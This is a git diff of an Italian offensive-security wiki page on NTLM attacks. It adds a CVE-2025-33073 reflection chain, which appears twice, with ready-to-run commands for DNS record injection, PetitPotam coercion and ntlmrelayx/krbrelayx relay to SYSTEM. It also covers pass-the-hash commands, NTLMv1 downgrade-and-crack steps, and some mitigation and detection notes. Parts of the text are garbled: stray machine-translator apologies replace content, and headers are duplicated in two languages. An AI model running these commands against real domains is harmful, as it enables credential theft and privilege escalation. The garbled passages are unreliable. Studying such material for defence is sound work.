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@ -2,24 +2,70 @@
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## Informazioni di base
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
In ambienti in cui sono in funzione **Windows XP e Server 2003**, vengono utilizzati gli hash LM (Lan Manager), sebbene sia ampiamente riconosciuto che questi possano essere facilmente compromessi. Un particolare hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, indica uno scenario in cui LM non è impiegato, rappresentando l'hash per una stringa vuota.
Windows contiene diverse mitigazioni che cercano di prevenire attacchi di *reflection* in cui un'autenticazione NTLM (o Kerberos) che origina da un host viene ritrasmessa allo **stesso** host per ottenere privilegi di SYSTEM.
Per impostazione predefinita, il protocollo di autenticazione **Kerberos** è il metodo principale utilizzato. NTLM (NT LAN Manager) interviene in circostanze specifiche: assenza di Active Directory, inesistenza del dominio, malfunzionamento di Kerberos a causa di una configurazione errata, o quando si tentano connessioni utilizzando un indirizzo IP anziché un nome host valido.
Microsoft ha interrotto la maggior parte delle catene pubbliche con MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) e patch successive, tuttavia **CVE-2025-33073** mostra che le protezioni possono ancora essere eluse abusando di come il **client SMB tronca i Service Principal Names (SPNs)** che contengono informazioni di destinazione *marshalled* (serializzate).
### TL;DR del bug
1. Un attaccante registra un **record A DNS** il cui label codifica un SPN marshalled ad esempio
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. La vittima è costretta ad autenticarsi a quel nome host (PetitPotam, DFSCoerce, ecc.).
3. Quando il client SMB passa la stringa di destinazione `cifs/srv11UWhRCAAAAA…` a `lsasrv!LsapCheckMarshalledTargetInfo`, la chiamata a `CredUnmarshalTargetInfo` **rimuove** il blob serializzato, lasciando **`cifs/srv1`**.
4. `msv1_0!SspIsTargetLocalhost` (o l'equivalente Kerberos) ora considera la destinazione come *localhost* perché la parte breve dell'host corrisponde al nome del computer (`SRV1`).
5. Di conseguenza, il server imposta `NTLMSSP_NEGOTIATE_LOCAL_CALL` e inietta **il token di accesso SYSTEM di LSASS** nel contesto (per Kerberos viene creato un key di subsessione contrassegnato come SYSTEM).
6. Ritrasmettere quell'autenticazione con `ntlmrelayx.py` **o** `krbrelayx.py` fornisce pieni diritti di SYSTEM sullo stesso host.
### Quick PoC
```bash
# Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 10.10.10.50
# Trigger authentication
PetitPotam.py -u user -p pass -d DOMAIN \
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
# Relay listener (NTLM)
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Relay listener (Kerberos) remove NTLM mechType first
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### Patch & Mitigations
* La patch KB per **CVE-2025-33073** aggiunge un controllo in `mrxsmb.sys::SmbCeCreateSrvCall` che blocca qualsiasi connessione SMB il cui target contiene informazioni marshallate (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`).
* Forzare la **firma SMB** per prevenire la riflessione anche su host non patchati.
* Monitorare i record DNS che somigliano a `*<base64>...*` e bloccare i vettori di coercizione (PetitPotam, DFSCoerce, AuthIP...).
### Detection ideas
* Catture di rete con `NTLMSSP_NEGOTIATE_LOCAL_CALL` dove l'IP del client ≠ l'IP del server.
* Kerberos AP-REQ contenente una chiave di sottosessione e un principale client uguale al nome host.
* Accessi al sistema Windows Event 4624/4648 immediatamente seguiti da scritture SMB remote dallo stesso host.
## References
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
## Basic Information
In ambienti dove **Windows XP e Server 2003** sono in uso, vengono utilizzati hash LM (Lan Manager), anche se è ampiamente riconosciuto che questi possono essere facilmente compromessi. Un particolare hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, indica uno scenario in cui LM non è impiegato, rappresentando l'hash per una stringa vuota.
Per impostazione predefinita, il protocollo di autenticazione **Kerberos** è il metodo principale utilizzato. NTLM (NT LAN Manager) interviene in circostanze specifiche: assenza di Active Directory, inesistenza del dominio, malfunzionamento di Kerberos a causa di una configurazione errata, o quando vengono tentate connessioni utilizzando un indirizzo IP anziché un nome host valido.
La presenza dell'intestazione **"NTLMSSP"** nei pacchetti di rete segnala un processo di autenticazione NTLM.
Il supporto per i protocolli di autenticazione - LM, NTLMv1 e NTLMv2 - è facilitato da un DLL specifico situato in `%windir%\Windows\System32\msv1\_0.dll`.
**Punti chiave**:
**Key Points**:
- Gli hash LM sono vulnerabili e un hash LM vuoto (`AAD3B435B51404EEAAD3B435B51404EE`) ne segnala la non utilizzazione.
- Gli hash LM sono vulnerabili e un hash LM vuoto (`AAD3B435B51404EEAAD3B435B51404EE`) segnala il suo non utilizzo.
- Kerberos è il metodo di autenticazione predefinito, con NTLM utilizzato solo in determinate condizioni.
- I pacchetti di autenticazione NTLM sono identificabili dall'intestazione "NTLMSSP".
- I protocolli LM, NTLMv1 e NTLMv2 sono supportati dal file di sistema `msv1\_0.dll`.
## LM, NTLMv1 e NTLMv2
## LM, NTLMv1 and NTLMv2
Puoi controllare e configurare quale protocollo sarà utilizzato:
@ -29,7 +75,7 @@ Esegui _secpol.msc_ -> Politiche locali -> Opzioni di sicurezza -> Sicurezza di
![](<../../images/image (919).png>)
### Registro
### Registry
Questo imposterà il livello 5:
```
@ -53,7 +99,7 @@ Valori possibili:
5. Il **server invia** al **Domain controller** il **nome del dominio, il nome utente, la sfida e la risposta**. Se non **c'è** un Active Directory configurato o il nome del dominio è il nome del server, le credenziali vengono **verificate localmente**.
6. Il **domain controller verifica se tutto è corretto** e invia le informazioni al server
Il **server** e il **Domain Controller** sono in grado di creare un **Canale Sicuro** tramite il server **Netlogon** poiché il Domain Controller conosce la password del server (è all'interno del database **NTDS.DIT**).
Il **server** e il **Domain Controller** sono in grado di creare un **Canale Sicuro** tramite il server **Netlogon** poiché il Domain Controller conosce la password del server (è all'interno del db **NTDS.DIT**).
### Schema di autenticazione NTLM locale
@ -75,13 +121,13 @@ L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B
### Attacco NTLMv1
Al giorno d'oggi è sempre meno comune trovare ambienti con Delegazione Non Vincolata configurata, ma questo non significa che non puoi **abusare di un servizio Print Spooler** configurato.
Oggigiorno è sempre meno comune trovare ambienti con Delegazione Non Vincolata configurata, ma questo non significa che non puoi **abusare di un servizio Print Spooler** configurato.
Potresti abusare di alcune credenziali/sessioni che hai già sull'AD per **chiedere alla stampante di autenticarsi** contro qualche **host sotto il tuo controllo**. Poi, utilizzando `metasploit auxiliary/server/capture/smb` o `responder` puoi **impostare la sfida di autenticazione a 1122334455667788**, catturare il tentativo di autenticazione, e se è stato fatto utilizzando **NTLMv1** sarai in grado di **crackarlo**.\
Se stai usando `responder` potresti provare a **usare il flag `--lm`** per cercare di **downgradare** l'**autenticazione**.\
_Nota che per questa tecnica l'autenticazione deve essere eseguita utilizzando NTLMv1 (NTLMv2 non è valido)._
Ricorda che la stampante utilizzerà l'account del computer durante l'autenticazione, e gli account dei computer usano **password lunghe e casuali** che probabilmente **non sarai in grado di crackare** utilizzando dizionari comuni. Ma l'autenticazione **NTLMv1** **usa DES** ([maggiori informazioni qui](#ntlmv1-challenge)), quindi utilizzando alcuni servizi specialmente dedicati a crackare DES sarai in grado di crackarlo (potresti usare [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) per esempio).
Ricorda che la stampante utilizzerà l'account del computer durante l'autenticazione, e gli account dei computer usano **password lunghe e casuali** che probabilmente non sarai in grado di crackare utilizzando dizionari comuni. Ma l'autenticazione **NTLMv1** **usa DES** ([maggiori informazioni qui](#ntlmv1-challenge)), quindi utilizzando alcuni servizi specialmente dedicati a crackare DES sarai in grado di crackarlo (potresti usare [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) per esempio).
### Attacco NTLMv1 con hashcat
@ -143,13 +189,13 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
Mi dispiace, ma non hai fornito il testo da tradurre. Per favore, invia il contenuto che desideri tradurre in italiano.
It seems that you haven't provided the text you want to be translated. Please share the relevant English text, and I'll be happy to translate it into Italian for you.
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
Sure, please provide the text you would like me to translate.
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -159,9 +205,9 @@ La **lunghezza della sfida è di 8 byte** e **vengono inviati 2 risposte**: una
**La prima risposta** è creata cifrando usando **HMAC_MD5** la **stringa** composta dal **client e dal dominio** e usando come **chiave** l'**hash MD4** dell'**NT hash**. Poi, il **risultato** sarà usato come **chiave** per cifrare usando **HMAC_MD5** la **sfida**. A questo, **verrà aggiunta una sfida del client di 8 byte**. Totale: 24 B.
La **seconda risposta** è creata usando **diversi valori** (una nuova sfida del client, un **timestamp** per evitare **attacchi di ripetizione**...)
La **seconda risposta** è creata usando **diversi valori** (una nuova sfida del client, un **timestamp** per evitare **attacchi di replay**...)
Se hai un **pcap che ha catturato un processo di autenticazione riuscito**, puoi seguire questa guida per ottenere il dominio, il nome utente, la sfida e la risposta e provare a decifrare la password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
Se hai un **pcap che ha catturato un processo di autenticazione riuscito**, puoi seguire questa guida per ottenere il dominio, il nome utente, la sfida e la risposta e provare a craccare la password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
@ -189,7 +235,7 @@ Puoi scaricare [i binari impacket per Windows qui](https://github.com/ropnop/imp
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe** (In questo caso devi specificare un comando, cmd.exe e powershell.exe non sono validi per ottenere una shell interattiva) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- **atexec.exe** (In questo caso devi specificare un comando, cmd.exe e powershell.exe non sono validi per ottenere una shell interattiva)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- Ci sono diversi altri binari Impacket...
### Invoke-TheHash
@ -224,7 +270,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
**Deve essere eseguito come amministratore**
Questo strumento farà la stessa cosa di mimikatz (modificare la memoria LSASS).
Questo strumento farà la stessa cosa di mimikatz (modificare la memoria di LSASS).
```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
```
@ -236,7 +282,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
## Estrazione delle credenziali da un host Windows
**Per ulteriori informazioni su** [**come ottenere credenziali da un host Windows dovresti leggere questa pagina**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
**Per ulteriori informazioni su** [**come ottenere credenziali da un host Windows, dovresti leggere questa pagina**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
## Attacco Internal Monologue
@ -262,4 +308,50 @@ Il PoC può essere trovato in **[https://github.com/eladshamir/Internal-Monologu
**Puoi usare** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
## NTLM & Kerberos *Reflection* tramite SPN serializzati (CVE-2025-33073)
Windows contiene diverse mitigazioni che cercano di prevenire attacchi di *reflection* in cui un'autenticazione NTLM (o Kerberos) che origina da un host viene ritrasmessa allo **stesso** host per ottenere privilegi di SYSTEM.
Microsoft ha interrotto la maggior parte delle catene pubbliche con MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) e patch successive, tuttavia **CVE-2025-33073** mostra che le protezioni possono ancora essere eluse abusando di come il **client SMB tronca i Nomi Principali di Servizio (SPN)** che contengono informazioni di destinazione *marshalled* (serializzate).
### TL;DR del bug
1. Un attaccante registra un **record A DNS** il cui label codifica un SPN marshalled ad es.
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. La vittima è costretta ad autenticarsi a quel nome host (PetitPotam, DFSCoerce, ecc.).
3. Quando il client SMB passa la stringa di destinazione `cifs/srv11UWhRCAAAAA…` a `lsasrv!LsapCheckMarshalledTargetInfo`, la chiamata a `CredUnmarshalTargetInfo` **strippa** il blob serializzato, lasciando **`cifs/srv1`**.
4. `msv1_0!SspIsTargetLocalhost` (o l'equivalente Kerberos) ora considera la destinazione come *localhost* perché la parte breve dell'host corrisponde al nome del computer (`SRV1`).
5. Di conseguenza, il server imposta `NTLMSSP_NEGOTIATE_LOCAL_CALL` e inietta **il token di accesso SYSTEM di LSASS** nel contesto (per Kerberos viene creato un key di subsessione contrassegnato come SYSTEM).
6. Ritrasmettere quell'autenticazione con `ntlmrelayx.py` **o** `krbrelayx.py` conferisce pieni diritti di SYSTEM sullo stesso host.
### Quick PoC
```bash
# Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 10.10.10.50
# Trigger authentication
PetitPotam.py -u user -p pass -d DOMAIN \
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
# Relay listener (NTLM)
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Relay listener (Kerberos) remove NTLM mechType first
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### Patch & Mitigations
* La patch KB per **CVE-2025-33073** aggiunge un controllo in `mrxsmb.sys::SmbCeCreateSrvCall` che blocca qualsiasi connessione SMB il cui target contiene informazioni marshallate (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`).
* Forzare la **firma SMB** per prevenire la riflessione anche su host non patchati.
* Monitorare i record DNS che somigliano a `*<base64>...*` e bloccare i vettori di coercizione (PetitPotam, DFSCoerce, AuthIP...).
### Detection ideas
* Catture di rete con `NTLMSSP_NEGOTIATE_LOCAL_CALL` dove l'IP del client ≠ l'IP del server.
* Kerberos AP-REQ contenente una chiave di sottosessione e un principale client uguale al nome host.
* Accessi al sistema Windows Event 4624/4648 immediatamente seguiti da scritture SMB remote dallo stesso host.
## References
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
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